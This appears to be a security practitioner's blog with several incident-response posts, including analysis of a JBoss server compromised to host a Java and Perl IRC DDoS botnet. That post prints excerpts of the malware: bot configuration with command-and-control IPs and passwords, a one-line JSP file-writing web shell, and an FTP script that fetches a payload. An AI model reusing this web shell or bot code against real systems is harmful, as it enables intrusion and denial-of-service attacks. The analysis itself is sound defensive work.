Oh, and in case you were courious, you can always opt out of this service by changing your DNS addresses from 71.243.0.12 & 68.237.161.12 to 71.243.0.14 & 68.237.161.14, at least in the case of Verizon. Or you could, you know, just use a DNS server not provided by your ISP.

Stay safe out there.

Saturday, October 24, 2015

Post #11 (Or... "PLZ ENABLE UR MACROSES")

This is funny. I mean, we all know that attackers often grapple with grammatical/spelling errors, but this one for some reason just made me chuckle.

We had a client receive an e-mail letting them know that a payment for $18k+ was ready for them. The e-mail had .DOC file attached. Of course, I told the client to delete the e-mail entirely from their system, but not before I was able to grab a sample for analysis.

At the time of this writing, VirusTotal shows that 0% of engines detect this sample... and this is down from our original submission of the sample. JOE Sandbox Document Analyzer shows only a 24% malicious score, and even that score is accrued from points I consider to be unimportant. So, what gives with this sample? Is it truly soooper secret?

Turns out... no, it is not. Firstly, laugh at this screenshot.

OH NOES! MAI MACROSES R DISABLED!

So, clearly the attacker can't spell. That, alone, is not a candidate for dismissing a sample, so let's do some analysis. Firstly, let's check the document's metadata with the awesome exiftool:

ExifTool Version Number : 9.97

File Name : M51ZJQOBOO138A.doc

Directory : ./source

File Size : 202 kB

File Modification Date/Time : 2015:10:22 09:55:35-04:00

File Access Date/Time : 2015:10:23 11:35:41-04:00

File Creation Date/Time : 2015:10:23 11:35:41-04:00

File Permissions : rw-rw-rw-

File Type : DOC

File Type Extension : doc

MIME Type : application/msword

Title :

Subject :

Author : IhpSPjjDqDF

Keywords :

Comments :

Template : Normal.dotm

Last Modified By : Y0er9dHL

Revision Number : 3

Software : Microsoft Office Word

Total Edit Time : 1.0 minutes

Create Date : 2015:10:22 22:45:00

Modify Date : 2015:10:22 23:19:00

Pages : 1

Words : 4334

Characters : 24704

Security : None

Code Page : Windows Cyrillic

Company :

Lines : 205

Paragraphs : 57

Char Count With Spaces : 28981

App Version : 15.0000

Scale Crop : No

Links Up To Date : No

Shared Doc : No

Hyperlinks Changed : No

Title Of Parts :

Heading Pairs : Title, 1

Comp Obj User Type Len : 32

Comp Obj User Type : Microsoft Word 97-2003 Document


ExifTool Version Number : 9.97

File Name : R4PHYGX.doc

Directory : C:/tempinst/OfficeMalScanner/OfficeMalScanner/source

File Size : 192 kB

File Modification Date/Time : 2015:04:21 09:07:34-04:00

File Access Date/Time : 2015:05:28 07:29:01-04:00

File Creation Date/Time : 2015:05:28 07:29:01-04:00

File Permissions : rw-rw-rw-

File Type : DOC

File Type Extension : doc

MIME Type : application/msword

Title :

Subject :

Author : jiwdj

Keywords :

Comments :

Template : Normal.dotm

Last Modified By : Owner

Revision Number : 2

Software : Microsoft Office Word

Total Edit Time : 0

Create Date : 2015:04:21 10:34:00

Modify Date : 2015:04:21 10:34:00

Pages : 1

Words : 107

Characters : 614

Security : None

Company : SPecialiST RePack

Lines : 5

Paragraphs : 1

Char Count With Spaces : 720

App Version : 15.0000

Scale Crop : No

Links Up To Date : No

Shared Doc : No

Hyperlinks Changed : No

Title Of Parts : ,

Heading Pairs : Title, 1, Название, 1

Code Page : Windows Cyrillic

Hyperlinks : http://office365.com/

Comp Obj User Type Len : 32

Comp Obj User Type : Microsoft Word 97-2003 Document

I have, as you can see, included a second command that actually includes a sample of a .DOC file that drops Dridex, just so you can see something side-by-side. But this metadata proves nothing. Next, let's turn to the ever-useful OfficeMalScanner:

+------------------------------------------+

| OfficeMalScanner v0.61 |

| Frank Boldewin / www.reconstructer.org |

+------------------------------------------+

[*] INFO mode selected

[*] Opening file .\source\M51ZJQOBOO138A.doc

[*] Filesize is 206848 (0x32800) Bytes

[*] Ms Office OLE2 Compound Format document detected

---------------------------------------------

[Scanning for VB-code in M51ZJQOBOO138A.DOC]

---------------------------------------------

-----------------------

No VB-Macro code found!


+------------------------------------------+

| OfficeMalScanner v0.61 |

| Frank Boldewin / www.reconstructer.org |

+------------------------------------------+

[*] INFO mode selected

[*] Opening file .\source\R4PHYGX.doc

[*] Filesize is 196096 (0x2fe00) Bytes

[*] Ms Office OLE2 Compound Format document detected

--------------------------------------

[Scanning for VB-code in R4PHYGX.DOC]

--------------------------------------

Module1

Module2

Module3

Module4

Module5

ThisDocument

-----------------------------------------------------------------------------

VB-MACRO CODE WAS FOUND INSIDE THIS FILE!

The decompressed Macro code was stored here:

------> C:\TempInst\OfficeMalScanner\OfficeMalScanner\R4PHYGX.DOC-Macros

-----------------------------------------------------------------------------

Here is the funny part. For some reason, this document contains no macros. You can see what an actual malicious document returns by reviewing the second sample. So, you can now see why this document is not being flagged by scanners; it isn't malicious at all!

I am not going to state any reasons why this document began circulating the net without being completed, but I can say that whatever the reason, I certainly got a laugh out of it. That, and this seemed as good as time as any to demonstrate two tools that I am growing to love more and more every time I use them, exiftool and OfficeMalScanner.

Cheers!

Want some artifacts? The .ZIP password is prescomm.

p11_artifacts.zip

Friday, October 23, 2015

Post #10 (Or... "Oops! My Headers Leaked!")

This is simple. Very simple. But, hey, it was nice to see something other than SSL/TLS, RC4, and certificate RSA1024/SHA1 failures for once while doing PCI audit remediation.

IIS as used by OWA leaks a server's LAN IP address in HTTP headers in response to a crafted GET request if the authentication realm has not been properly set (vanilla OWA settings). From the smattering of servers I have run this against, I have to say that a good majority of them are not set properly. It is up to you to decide how useful knowing the LAN IP of a server even from behind a NAT device is, but for my part I could definitely see it coming in handy (file rigged with exploits e-mailed to someone inside the network with the server's LAN IP hardcoded into it, anyone?).

I really just pieced this together from 2 posts that I found online when remediating this issue:

http://archives.neohapsis.com/archives/ntbugtraq/2000-q3/0025.html

http://techtips.fulori.com/2014/09/windows-server-running-iis-fails-pci.html

I then just took the time to write a batch file that will ask for a domain and a port and, voila, it will connect via OpenSSL (the binaries are included in the archive). You then just paste the echoed HTTP requests into the console and allow it to get the headers. If the server is running IIS for OWA and is not configured properly, you will get the LAN IP of the server via the "WWW-Authenticate: Basic realm=" field.

The test utility in action.

So, how do we fix this? Well, I added another script into the archive in the "Fix" folder that will utilize "adsutil.vbs" to change the web services authentication realm to a string of the user's choice. If you have access to the affected server, just copy the "Fix" folder to it and run the batch script. It will stop and start web services for you and prompt you for your desired authentication realm (choose something that does not leak anything overly sensitive, such as "ACME Widget Corp." or "PRIVATE"). Once the fix has been applied, run the testing utility again and check what realm is returned in the headers. If everything went as planned, you should no longer be leaking your server's LAN IP.

Applying the fix.

Like I said, simple test and simple fix, but I wanted to create something that would make it easy for anybody to test for and remediate this issue. Plus, it was fun to do something other than disable protocols/ciphers or upgrade certificates.

Cheers!

DISCLAIMER: Run these tools at your own risk. I will not assume any responsibility for any issues, legal or technical, that arise from the use of these tools.

HTTPLANLeakTester32.zip

HTTPLANLeakTester64.zip

Friday, September 25, 2015

Post #9 (Or... "Perl, Java, DDoS... Oh, My!")

Warning! This post is long, mostly because it contains strings and code pulled from over a half-dozen files.

Warning! This post contains strings that may be considered NSFW depending upon your work environment and your sensitivity levels.

It has been an eventful month for forceful, non-malware hacks. Once again, without revealing identifying information, I am going to cover an incident to which I responded.

We were made aware of this particular attack when one of our client's ISPs contacted us because they, in turn, had been contacted by a game server hosting company who had stated that our client's WAN IP had been attacking them as part of a DDoS attack. After asking a few initial questions of the ISP's security analyst (when did the attack start, what protocol was being used, could I get some log files, etc.), I got right to work.

I first started a packet capture on the client's firewall. I started out by playing around with a few more specific capture filters, but because the information I had been given by all parties was scant, I instead enabled a wide-open, catch-all packet capture.A few hours later, I returned to the packet capture and began examining it. After only a few minutes, I noted large numbers of requests from the same server to various, random WAN IPs.

I gained access to this server and began by examining what was running on the server with Process Explorer. Immediately I noticed an instance of "cmd.exe" running as a parent for an instance of "javaw.exe", yet I saw no open windows on the server. I took a look at the "javaw.exe" instance and saw the following information:

Path: C:\WINDOWS\system32\javaw.exe

Command line: javaw -cp C:\DOCUMEN~1\ADMINI~1.;PC\LOCALS~1\Temp\jb.jar

Current directory: C:\jboss-4.0.5.GA\jboss-4.0.5.GA\bin\

Alarms are already sounding in my head over this one, for numerous reasons. To confirm my suspicions, I copied "jb.jar" to my local machine for analysis.

Straight away, I opened the file in JD (http://jd.benow.ca/) and began examining it class-by-class. I could already tell I had found my culprit when I saw code and strings such as...

"UDP Flood Finished!"

"HttpGet Finished!"

HttpURLConnection conn = (HttpURLConnection)this.val$url.openConnection() ... conn.setRequestMethod("GET");

Truly, however, this code was the final piece that gave me certainty that I had found what I was looking for:

public class Client

{

public static Client instance;

private String ircServer = "192.3.138.202";

private String ircPassword = "tutakamo24";

private String ircChannel = "#j";

private String ircChannelPass = "";

private String ircNick = "";

private String botNumber;

private int ircPort = 80;

private Socket ircSocket;

private PrintWriter out;

private BufferedReader in;

private String botPassword = "Net.Admin";

private boolean botSilent = false;

private String botTempDir = System.getProperty("java.io.tmpdir");

private double botVersion = 1.03D;

private String osName = System.getProperty("os.name");

private String country = System.getProperty("user.country").toUpperCase();

private String username = System.getProperty("user.name");

...

} else if ((command[0].equals(".slowloris")) && (command.length == 4)) {

floodSlowloris(command[1], Integer.decode(command[2]).intValue(), Integer.decode(command[3]).intValue());

So, we are dealing with an IRC botnet that performs DDoS attacks. Using Slowloris (https://en.wikipedia.org/wiki/Slowloris_%28software%29) (which is a Perl-based "stress tester", for those not in the know). We know as much now. But there is much more information to be gleaned during this incident, so read on!

The code in that file continued, but those are fine-grain details that I will address during deep analysis. For now, we just want to keep finding out how compromised this server truly is. As noted above, the current directory was "C:\jboss-4.0.5.GA\jboss-4.0.5.GA\bin\". That's right, kiddos. That is a version of JBoss that is 9 years old. I am not going into a long list of all the exploits available for this version of JBoss, but I can tell you that 10 seconds of Googling profited me with this:

https://threatpost.com/jboss-attacks-up-since-exploit-code-disclosure/102971/

Which then led me to this:

https://www.exploit-db.com/exploits/28713/

You may notice in the POC code that a .WAR file is mentioned. Interestingly enough, I found a file call "jb.war" at the root of the C:/ drive. Extracting this .WAR file revealed the following directory tree:

Directory of [REDACTED]\jb

META-INF

WEB-INF

zs.jsp

Directory of [REDACTED]\jb\META-INF

MANIFEST.MF

Directory of [REDACTED]\jb\WEB-INF

web.xml

The .XML file contains the following markup:

<?xml version="1.0" ?>

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee

http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"

version="2.4">

<servlet>

<servlet-name>Zsploit Shell</servlet-name>

<jsp-file>/zs.jsp</jsp-file>

</servlet>

</web-app>

There's our "zs.jsp" file. Let's take a look at it:

<%

if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());

%>

Aside from the obvious nature of that code, guess what happens when you Google it?

https://issues.jboss.org/browse/JBAS-9535

Not very fruitful, but it shows that this exploit has been used before, and other people have reported it (note that CVE-2013-4810 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4810) is a duplicate of CVE-2010-0738 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738), which the bug reporter mentions in his report.)

So, looks like somebody used an exploit in a painfully old JBoss deployment to drop a payload onto the server, and then dropped other files, namely their Java DDoS IRC Botnet file. Like they say in the infomercial business, though...

But wait, there's more!

I also noted in the JBoss "bin" directory that there were some odd looking files, namely "mudkip.exe", "info.vbs", and "abc.txt" (yes, Mudkip like the Pokemon.) Again, let's examine them in turn.

The file "abc.txt" was fairly simple:

a

a

bin

get mudkip.exe

quit

I am not going to paste the contents of "info.vbs", but let me just say that it pulls an overwhelming amount about the system it resides on, including everything from CPU cores to information about the users on the system.

Finally, "mudkip.exe" is a self-extracting archive that drops the file "fox.exe". I'm going to jump right into string analysis with BinText (http://www.mcafee.com/us/downloads/free-tools/bintext.aspx). So, here are the fun strings I found in "fox.exe":

000000003108 000000403108 0 -p2x_exe=

000000003114 000000403114 0 -p2x_debug=

000000003150 000000403150 0 RunPerl

000000003180 000000403180 0 p2x5122.dll

00000000318C 00000040318C 0 For more information visit www.indigostar.com

0000000031C8 0000004031C8 0 load Crypt::RSA::Key

0000000031E0 0000004031E0 0 load key 89234p143x9473892x8204

000000003200 000000403200 0 load Crypt::OpenPGP::CFB

000000003244 000000403244 0 NAME=P2X-V06.TOC

000000003288 000000403288 0 DBG: p2xar_open

0000000032A4 0000004032A4 0 DBG: p2xar_close

000000003564 000000403564 0 Perl2Exe

000000003244 000000403244 0 NAME=P2X-V06.TOC

000000003288 000000403288 0 DBG: p2xar_open

0000000032A4 0000004032A4 0 DBG: p2xar_close

000000003564 000000403564 0 Perl2Exe

000000016B5A 000000416B5A 0 Perl_Isv_undef_ptr

000000016B70 000000416B70 0 PerlIO_getpos

000000016B80 000000416B80 0 Perl_sv_newmortal

...(those lines go on and on and are repeated multiple times throughout, but I am leaving them out because you get the picture)

000000019584 000000419584 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\perl\lib\auto\IO\IO.pdb

00000005B36D 00000045B36D 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\perl\lib\auto\re\re.pdb

0000000663B6 0000004663B6 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\PathTools\blib\arch\auto\Cwd\Cwd.pdb

0000000712DA 0000004712DA 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\Scalar-List-Utils\blib\arch\auto\List\Util\Util.pdb

00000008B094 00000048B094 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\perl\lib\auto\B\B.pdb

000000092A65 000000492A65 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\perl\lib\auto\mro\mro.pdb

0000000AC44C 0000004AC44C 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\perl\lib\auto\Win32API\File\File.pdb

0000000B33BB 0000004B33BB 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\perl\lib\auto\Fcntl\Fcntl.pdb

0000000E65D0 0000004E65D0 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\Win32\blib\arch\auto\Win32\Win32.pdb

0000000FB0B7 0000004FB0B7 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\Win32-Console\blib\arch\auto\Win32\Console\Console.pdb

00000010325D 00000050325D 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\perl\lib\auto\Socket\Socket.pdb

00000010FC11 00000050FC11 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\Win32-API\blib\arch\auto\Win32\API\API.pdb

00000000511A 00000040511A 0 PERLEXE

00000000556E 00000040556E 0 VS_VERSION_INFO

0000000055CA 0000004055CA 0 StringFileInfo

0000000055EE 0000004055EE 0 040904E4

000000005606 000000405606 0 CompanyName

000000005622 000000405622 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

00000000570A 00000040570A 0 FileDescription

00000000572E 00000040572E 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

00000000581E 00000040581E 0 FileVersion

000000005838 000000405838 0 1.0.0.0

000000005848 000000405848 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

000000005922 000000405922 0 InternalName

00000000593E 00000040593E 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

000000005A26 000000405A26 0 LegalCopyright

000000005A46 000000405A46 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

000000005B32 000000405B32 0 LegalTrademarks

000000005B56 000000405B56 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

000000005C46 000000405C46 0 OriginalFilename

000000005C6A 000000405C6A 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

000000005D5A 000000405D5A 0 ProductName

000000005D76 000000405D76 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

000000005E5E 000000405E5E 0 ProductVersion

000000005E7E 000000405E7E 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

000000005F6A 000000405F6A 0 Comment

000000005F7E 000000405F7E 0 zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

000000172E79 000000572E79 0 VS_VERSION_INFO

000000172ED5 000000572ED5 0 StringFileInfo

000000172EF9 000000572EF9 0 040904E4

000000172F11 000000572F11 0 CompanyName

000000172F2B 000000572F2B 0 IndigoSTAR Software.

000000172F5D 000000572F5D 0 FileDescription

000000172F7F 000000572F7F 0 Perl Interpreter

000000172FA9 000000572FA9 0 FileVersion

000000172FC3 000000572FC3 0 5,12,2,2010.11

000000172FE9 000000572FE9 0 InternalName

000000173003 000000573003 0 perl510.dll

000000173021 000000573021 0 LegalCopyright

00000017303F 00000057303F 0 Copyright 1987-2007, Larry Wall, Binary build by IndigoSTAR Software, http://www.indigostar.com

000000173105 000000573105 0 LegalTrademarks

00000017312D 00000057312D 0 OriginalFilename

00000017314F 00000057314F 0 perl510.dll

00000017316D 00000057316D 0 ProductName

000000173187 000000573187 0 IndigoPerl

0000001731A5 0000005731A5 0 ProductVersion

0000001731C3 0000005731C3 0 Build 2010.11

00000000321C 00000040321C 0 signature

00000000322C 00000040322C 0 dbload 1.0

00000000323C 00000040323C 0 SIZE=

000000003244 000000403244 0 NAME=P2X-V06.TOC

000000007010 000000407010 0 W:\dev\p2x-10.10\Win32\stubbuild-5122\p2x5122exe.pdb

00000005B36D 00000045B36D 0 C:\cygwin\home\gecko\build-20101209T040008-vpvlvryzmv\perl\lib\auto\re\re.pdb

000000086920 000000486920 0 PERLSI_REQUIRE

000000086930 000000486930 0 PERLSI_DIEHOOK

000000086940 000000486940 0 PERLSI_WARNHOOK

000000086950 000000486950 0 PERLSI_DESTROY

000000086960 000000486960 0 PERLSI_OVERLOAD

000000086970 000000486970 0 PERLSI_SIGNAL

000000086980 000000486980 0 PERLSI_SORT

00000008698C 00000048698C 0 PERLSI_MAGIC

00000008699C 00000048699C 0 PERLSI_MAIN

0000000869A8 0000004869A8 0 PERLSI_UNDEF

000000086B64 000000486B64 0 PERL_LOADMOD_IMPORT_OPS

000000086B7C 000000486B7C 0 PERL_LOADMOD_NOIMPORT

000000086B94 000000486B94 0 PERL_LOADMOD_DENY

Wow. So, the most important thing to take away from all of that is that this is a Perl program that has been "compiled" into a .EXE file using Perl2Exe (http://www.indigostar.com/perl2exe.php). Also, an RSA key is listed plain as day in the strings. We may have more fun in deep analysis with that later, especially when you look at stuff like this: http://www.securityfocus.com/archive/1/312757. Anyway, Perl2Exe program, Slowloris is written in Perl... you get the idea.

At this point, I would have run out of files to examine and just called it good. We know how the attackers got in, we know what they were doing and what they were doing it with, and we know who they were attacking, at least in part. But...

Any good incident responder knows that you can't just pass up anti-virus logs. And I didn't, but they were empty. The quarantine, on the other hand, was not. It contained 2 files from 6 months prior to the current incident, meaning this server had been owned for at least half a year. Those files were located in C:\DOCUME~1\ADMINI~1.LOC\LOCALS~1\Temp\par-41646d696e6973747261746f72 and were as follows:

432f8669.pl

a.pl

More Perl stuff! I started looking at the contents of these files and, as figured, I saw IRC and DDoS related information; here are some excerpts:

my @canais = ("##win");

my $processo = 'java';

my @hostauth = ('*');

my $linas_max = '10';

my $sleep = '0.01';

my @nickname = getnick();

my $nick = $nickname[ rand scalar @nickname ];

my @privname = getonowner();

my $ircname = $privname[ rand scalar @privname ];

chop( my $realname = 'NiX' );

my $servidor = '178.62.151.130' unless $servidor;

my $porta = '443';

my $destroypass = "dongusvondong";

my $viruspass = "COCKS";

...

$servidor = "$ARGV[0]" if $ARGV[0];

$0 = "$processo" . "\0" x 16;

my $pid = fork;

exit if $pid;

die "Masalah fork: $!" unless defined($pid);

our %irc_servers;

our %DCC;

my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();

...

00000000185C 00000000185C 0 12 Thanks for purchasing! Please use IP only to ensure correct booting! There is NO STOP COMMAND! Be very careful with boot times. These are the commands you have access to:"

000000001971 000000001971 0 12 There are 5 DDoS functions"

0000000019F6 0000000019F6 0 12 UDPFlood, HTTPFlood , SYNFlood, NTP Amplified Flood"

000000001D8E 000000001D8E 0 12 Lastly, there is a mail spam that is used like so:"

000000001F00 000000001F00 0 12] This process can be long, just wait"

00000000223E 00000000223E 0 12] All default log and bash_history files erased"

0000000022F2 0000000022F2 0 12] Now Erasing the rest of the machine log files"

0000000024BC 0000000024BC 0 12] Done! All logs erased"

00000000255C 00000000255C 0 12 ] Good-bye cruel cruel world! ;(");

000000004573 000000004573 0 12 ] You messed up n00b")

0000000047A6 0000000047A6 0 12 ] Attack Complete!");

00000000530E 00000000530E 0 12] File being downloaded now! Please wait...

000000005DF9 000000005DF9 0 12] Attacking Complete!

There were also lots of fun NSFW strings, and other feedback/interaction type strings, but I do not want to include all of them in here. There was also a massive list of IPs hardcoded as well. I checked, but the victim that reported this to us was not in the list; I didn't imagine they would be, seeing that the files were half a year old.

I did note that a large portion of this Perl script is present in the following script, which is part of a PHP honeypot:

https://github.com/mushorg/phpox/blob/master/lang/code2.pl

Well, that basically completes my quick and dirty analysis of this incident. Again, there could be much deeper analysis of these files, and I very well may do such an analysis because I want to get some IOCs created and maybe even try for attribution. That will come at a later date and with a later post.

Cheers! As always, stay safe out there, and check out the files below.

p9_artifacts.zip

Tuesday, August 25, 2015

Post #7 (Or "Indomitable Occulite Chimera... That Isn't Right?")

Well, it isn't good news. I dealt with somebody last week that had been breached, and not the usual "Oops! I opened a receipt from UPS and now we have been hit with cryptomalware!" type of breach. I am talking, "Hey, nice ports you have there. I see that they are open. I'm gonna go ahead and just let myself in." type of breach. I am going to share some information in a way that outlines what happened without giving away sensitive information.

The victim in this incident contacted us to let us know that they were suddenly missing files and that there was a ransom note left in their place. Immediately, my thought was some new form cryptomalware, because this is one of the typical explanations we here when someone has been hit with something akin to CryptoWall, CryptoLocker, etc. However, upon discussion, I actually found out that the files had been deleted from the victim's NAS device and, instead, they were replaced by a nice ransom note asking them to pay .35 BTC (or 91.24 USD at the time of this sentence having been written) or else the files would not be returned that they would be leaked to third parties. Obviously, the victim was distraught.

I am not going to share the specifics of my assignment on this incident, but more or less there were 3 goals in mind; restore the files if at all possible, find out how the attackers got in (subset: perform attribution if at all possible), and close the holes that may have let them in. We'll walk through these steps.

We lucked out on the first count. This particular NAS has a Network Recycle Bin feature; the would-be master thieves deleted the files off of the system, but they didn't empty the recycle bin, so it was trivial enough to copy the files over to an external HDD (I didn't want to restore them directly and overwrite any bytes I may need to recover later.) That task was done.

Next, we came to the task of determining attack/breach vector and, if at all possible, identifying the culprits. Not going into detail, but the device was way behind on firmware, used default credentials, and a laundry list of other shamefully obvious wide-open front doors; identifying the vector of attack/breach was not possible, especially considering my limited viewpoint and the absence of log files to examine. There was a ransom note, however, as stated previously. The ransom note was a file (trid couldn't identify it, but it opened in a text editor without issue) named "Want_your_files_back". The contents of the file were as follows:

"Your personal data/company data/passwords/website credentials etc. were infiltrated by a hacking group. We expect from you a exchange of 0.35 BTC ($100) to this address; 19USe9wCY42UhBUGMVKrPvoQhB5FfFcCkW After the payment. We will get your files back in place. If this does not happen; You won't get your files back, we will take action and exploit more and leak all the info to third party’s. You have been warned.

P.S; How to buy BTC? http://howtobuybitcoins.info/

Regards,

PTSD"

The name PTSD does not readily tie to any known threat actors. Contents of the file and its MD5 hash did not turn up any results, either. I traced the Bitcoin address using http://blockchain.info, but it looks like no one has made any payments to this address as of yet. The attackers have either never been paid, or they are using unique addresses for each attack, if multiple attacks have even taken place. Attribution, at this point, fell to the wayside on the tier of importance. More on that in a bit, though.

We were able to resolve the readily apparent security issues with the device, which is outside the scope of this post, but I just wanted to speak to our addressing of objective #3. At this point files have been restored and the major security holes in the device have been closed, but I wanted to take this a step further for myself.

I haven't yet had the opportunity to do so, but I fired up Mandiant IOCe and began crafting an .IOC file for the ransom note. I included the file name, MD5, and select content strings inside the file all as a single "OR" operation. I ran Mandiant IOC Finder on a test system where I stashed the ransom note, and confirmed that the .IOC file found it. I am uploading it here, along with the original ransom note. Maybe someone will find it useful and we can eventually attribute some attacks to the people that are behind this incident.

Stay safe!

EDIT 11/10/2015-22:59 Eastern: Finally took the time to make a Yara rule for this threat actor. It was my first Yara rule, but it appears to be working fine.

ThreatActor_PTSD.ioc

ThreatActor_PTSD.yar

Want_your_files_back

Thursday, June 25, 2015

Post #6 (Or "Sniff, Sniff... Is That Free Time That I Smell?")

Well, I have finally cleared a major project out of my pipeline, and I am ready to resume work on other less massive work-related and personal projects. However, figured I'd share the fruits of that labor first.

I recently was called upon to give a presentation on a number of subjects and, while I can't share details and had to redact some information that could leak stuff I don't want leaked, I wanted to share the core of what I presented. The only things missing are bits of identifying information.

Enjoy!

Introduction To Snort, CFS, and WiFi Security.pptx

Wednesday, June 17, 2015

Post #5 (Or "Resource Gathering Ain't Just For RTSs.")

I have quite a few posts coming down the pipeline. Bear with me as I try to get them pieced together and posted.

For now, I wanted to get a couple of posts up about what I considered to be some clever solutions to some problems I was having. In all actuality, they were probably just me overcomplicating things, but that is neither here nor there. Read on!

In an effort to really dig deep into my studies, I have been compiling reference books/lists of things such as:

•All native Windows .DLLs

•All native PowerShell cmdlets

•All native wmi classes

•All native .NET functions, classes, etc.

•All native Windows syscalls

•Etc., etc., etc.

I have been able to locate most of these things with a single Google query, but the list of .DLLs was a bit of a trick. I found some awesome databases that Nir Sofer put together, but as much as I love how the databases were put together as a web reference, I still have some love for hard copies of large reference sets. To that end, I was unable to locate one single page with all of the .DLLs. I did notice he had single pages for each letter of the alphabet, though, so that got me thinking.

First, I headed over to the ever-reliable wget command. I could've scripted this, I am sure, but considering it took next to no time to just run the single command and cancel it when all 26 desired pages had downloaded, I didn't want venture in to the lands of losing efficiency in the pursuit of efficiency.

Once all 26 .HTML files had downloaded, I was faced with the issue of printing them. Opening each page in a browser and printing them one-by-one seemed tedious, so I opted for another idea. There is a utility in existence named wkhtmltopdf, and it is miraculous. From the command line, it allows you to specify an input file that is in .HTML format and output it as, say, .PDF. And it supports wildcards. So, within a few minutes, I had 26 .PDF files containing all the native Windows .DLLs. One step closer to my goal of a single printed reference of all native Windows .DLLs.

The final step was easy enough. I long ago installed PDFTools by SheelApps, and it took seconds to combine all 26 .PDFs into a single, unified .PDF. Once that was done, I repeated this entire process for the remaining OS versions, and then combined the penultimate files into the last and complete .PDF file containing all native Windows .DLLs for WinXP, Win7/Vista, and Win8/8.1. Then I printed it.

Below, find the links to the Nir Sofer reference web pages, as well as the finalized .PDF I created.

http://xpdll.nirsoft.net/

http://www.win7dll.info/

http://www.nirsoft.net/dll_information/windows8/

WinDLLs.pdf (helpfully scrubbed of metadata by exiftool.)

Tuesday, June 9, 2015

Post #4 (Or "Bot, Begone! Let's Get Dirty With Some Cleanup.") - Part 2

Apologies. I have had multiple items coming down the pipeline at work that have required my spare time and attention, so I was unable to continue this posting. Hopefully, I can share some of that work with you all soon, but for now, let's continue where we left off.

When we last left off, I was just about to access the infected machine and begin analysis and cleanup. Let us start after I have contacted the client, let them know they have an active infection, and have gained access to the machine.

The first thing I do before anything else, while the user is still logged and nothing has been touched by me on the system, is create a dump of the system's memory. There are plenty of tools out there to do this, but because I have been playing around with Volatility lately, I chose to use winpmem to create the dump this time. Once the dump is saved, I copy it to a safe location on the HDD to be extracted after cleanup.

Next, while the user is still logged in, I run Fiddler just to see if I can catch the same HTTP requests my firewall packet capture caught. This endeavor was very successful. There were literally hundreds of requests being made per minute, but I am only going to include the results that were relevant to my search. We need to touch on the the memory dump analysis first, though, because it will provide us with a narrower scope for examining what was going on in the Fiddler session (when it comes to large sets of data, and that is very much so the nature of incident response, correlating data is extremely helpful, unless you want to wade through hundreds, thousands, or millions of requests by hand.)

Now, I stated earlier that I have been playing with Volatility lately, but I am by no means an expert, so for this analysis I used Mandiant's Redline analysis tool. Once my analysis session had been created, I set about sorting the processes that were running in memory when the dump was created. As a personal choice, I sorted them based on their arguments. After reviewing the list, 2 processes stuck out right away to me. Let's review these in turn.

First, I saw the below process (copied the entire row's contents as displayed by Redline):

